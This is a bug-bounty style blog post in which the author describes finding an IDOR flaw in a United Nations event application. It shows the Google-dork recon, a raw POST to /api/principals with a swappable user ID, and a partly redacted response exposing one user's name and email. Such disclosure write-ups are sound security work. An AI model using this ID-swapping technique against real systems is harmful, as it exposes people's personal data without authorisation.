My Experience of hacking into United Nations & finding a critical API misconfiguration in their systems which could lead to leak over 1 Million users PII. In this blog post, I’ll explain all the technical part and non-technical parts of it.
1 - So, as you might know, I don’t put so much time in recon & all of that stuff. Hence In this case I did the same.
2 - Hence, I tried very basic google dorks to discover some functional assets & eventually found some of them.
3 - My Burp was running in the background, I authorized my self to the application & started testing various functionalities.
4 - The application is responsible for organizing events in the united nations. So there are various functionalities to test.
5 - Found an API endpoint, where it loads the user data via numeric user-id. changing my user-id to someone else user-id will result in information disclosure.
/user/favourite
/api/principals, lacks proper access controls, leading to the disclosure of users PII. When accessed with any other valid user ID, the endpoint returns detailed user data, including email addresses, without requiring authentication or authorization.
POST /api/principals HTTP/1.1
Host: █████.un.org
...snip...
Connection: close
{
"values":[
"User:{USER-ID}"
]
}
HTTP/1.1 200 OK
Server: nginx/1.20.1
...snip...
Connection: close
{
"User:1459327":{
"affiliation":"Jele█████",
"affiliation_id":null,
"affiliation_meta":null,
"avatar_url":"/user/{user-id}/avatar-hash}",
"detail":"jele█████31@gmail.com (Jele█████)",
"email":"jele█████31@gmail.com",
"first_name":"Jele█████",
"identifier":"User:1459327",
"invalid":false,
"last_name":"█████████",
"name":"Jele█████ ██████████",
"title":"none",
"type":"user",
"user_id":1459327
}
}

